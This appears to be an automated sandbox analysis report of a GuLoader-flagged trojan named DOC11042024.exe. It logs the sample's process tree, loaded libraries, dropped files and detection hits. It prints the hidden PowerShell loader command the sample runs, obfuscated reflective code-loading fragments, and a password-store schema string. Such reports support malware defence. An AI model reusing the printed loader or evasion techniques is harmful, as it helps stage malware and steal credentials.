Windows Analysis Report
DOC11042024.exe

Source: C:\Users\user\Desktop\DOC11042024.exe	Code function: 0_2_00404AD2	0_2_00404AD2
Source: C:\Users\user\Desktop\DOC11042024.exe	Code function: 0_2_004064F7	0_2_004064F7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0671DE58	2_2_0671DE58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005BE988	5_2_005BE988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B5362	5_2_005B5362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B7118	5_2_005B7118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B9E76	5_2_005B9E76
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24979C70	5_2_24979C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497FC68	5_2_2497FC68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24972968	5_2_24972968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24971E80	5_2_24971E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_249717A0	5_2_249717A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24970B30	5_2_24970B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24979328	5_2_24979328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497CCA0	5_2_2497CCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497D0F8	5_2_2497D0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497F810	5_2_2497F810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24975018	5_2_24975018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24970030	5_2_24970030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24975028	5_2_24975028
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24979C5F	5_2_24979C5F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24970040	5_2_24970040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497D9A7	5_2_2497D9A7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497D9A8	5_2_2497D9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497DDFF	5_2_2497DDFF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497D550	5_2_2497D550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497295A	5_2_2497295A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24979548	5_2_24979548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497E6B0	5_2_2497E6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497E6AF	5_2_2497E6AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497DE00	5_2_2497DE00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497E257	5_2_2497E257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497E258	5_2_2497E258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24971E70	5_2_24971E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24978B91	5_2_24978B91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497178F	5_2_2497178F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497F3B8	5_2_2497F3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24978BA0	5_2_24978BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497EB08	5_2_2497EB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24970B20	5_2_24970B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_2497EF60	5_2_2497EF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24B49658	5_2_24B49658
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_24B41A20	5_2_24B41A20

Source: DOC11042024.exe

Static PE information: invalid certificate

Source: DOC11042024.exe, 00000000.00000000.2019207241.000000000046D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamehomomorphous enterokinesia.exe, vs DOC11042024.exe
Source: DOC11042024.exe	Binary or memory string: OriginalFilenamehomomorphous enterokinesia.exe, vs DOC11042024.exe
Source: DOC11042024.exe.2.dr	Binary or memory string: OriginalFilenamehomomorphous enterokinesia.exe, vs DOC11042024.exe

Source: DOC11042024.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/15@4/4

Source: C:\Users\user\Desktop\DOC11042024.exe

Code function: 0_2_0040458C GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040458C

Source: C:\Users\user\Desktop\DOC11042024.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\DOC11042024.exe

File created: C:\Users\user\AppData\Roaming\turkeyism

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03

Source: C:\Users\user\Desktop\DOC11042024.exe

File created: C:\Users\user\AppData\Local\Temp\nspE74F.tmp

Source: DOC11042024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\DOC11042024.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\DOC11042024.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: msiexec.exe, 00000005.00000002.3282055116.0000000021EC2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DOC11042024.exe

Virustotal: Detection: 19%

Source: C:\Users\user\Desktop\DOC11042024.exe

File read: C:\Users\user\Desktop\DOC11042024.exe

Source: unknown	Process created: C:\Users\user\Desktop\DOC11042024.exe "C:\Users\user\Desktop\DOC11042024.exe"
Source: C:\Users\user\Desktop\DOC11042024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\DOC11042024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\DOC11042024.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\bestialitet.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2324502580.0000000002A48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.2344258640.00000000081EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000002.00000002.2344258640.00000000081EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdbic source: powershell.exe, 00000002.00000002.2344628886.00000000082EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb source: powershell.exe, 00000002.00000002.2344258640.00000000081EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5) source: powershell.exe, 00000002.00000002.2344258640.00000000081EC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2345390385.000000000A530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Unbadgering $ravnemrketlantpagten $Yemenittiskes), (Radikalest88 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Blomstringstiderne = [AppDomain]::CurrentD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Antiexpansionist)), $ravnemrkefgifterne).DefineDynamicModule($antologiens, $false).DefineType($helsider, $Dewanee, [System.MulticastDe

Suspicious powershell command line found

Source: C:\Users\user\Desktop\DOC11042024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "
Source: C:\Users\user\Desktop\DOC11042024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "			Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0671CA78 push eax; mov dword ptr [esp], edx	2_2_0671CA8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0671CA86 push eax; mov dword ptr [esp], edx	2_2_0671CA8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_067110B8 push eax; ret	2_2_067110D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06711148 push eax; ret	2_2_06711152
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06711138 push eax; ret	2_2_06711142
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06711128 push eax; ret	2_2_06711132
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06711118 push eax; ret	2_2_06711122
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090131A1 push 3B63085Eh; ret	2_2_090131AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090139E9 push 8BD68B50h; retf	2_2_090139F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09010209 push 8BD68B50h; iretd	2_2_0901020E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09013549 push 8BD38B50h; iretd	2_2_0901354E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09040106 push ebp; retf	2_2_09040107
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0904972F push eax; ret	2_2_09049737
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09049740 pushfd ; retf	2_2_09049742
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0904A3E6 push eax; retf	2_2_0904A3E7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090479F2 push edx; ret	2_2_090479F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0904445E push 56A2C6ABh; ret	2_2_09044463
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090460A1 push ebp; ret	2_2_090460A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090402AC push ebx; ret	2_2_090402B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09045CB2 push es; iretd	2_2_09045CB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_090446DE push edx; ret	2_2_090446DF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005BB025 push ds; retf	5_2_005BB026
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B48E1 push eax; ret	5_2_005B48E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B494A push eax; ret	5_2_005B4952
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B4977 push eax; ret	5_2_005B4982
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B4968 push eax; ret	5_2_005B4972
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B891E pushad ; iretd	5_2_005B891F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B4917 push eax; ret	5_2_005B4922
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B4901 push eax; ret	5_2_005B4902
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B4907 push eax; ret	5_2_005B4912
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_005B5E3A push edx; retf	5_2_005B5E48

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\DOC11042024.exe

Jump to dropped file

Source: C:\Users\user\Desktop\DOC11042024.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\bestialitet.ini

Loading BitLocker PowerShell Module

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\DOC11042024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DOC11042024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
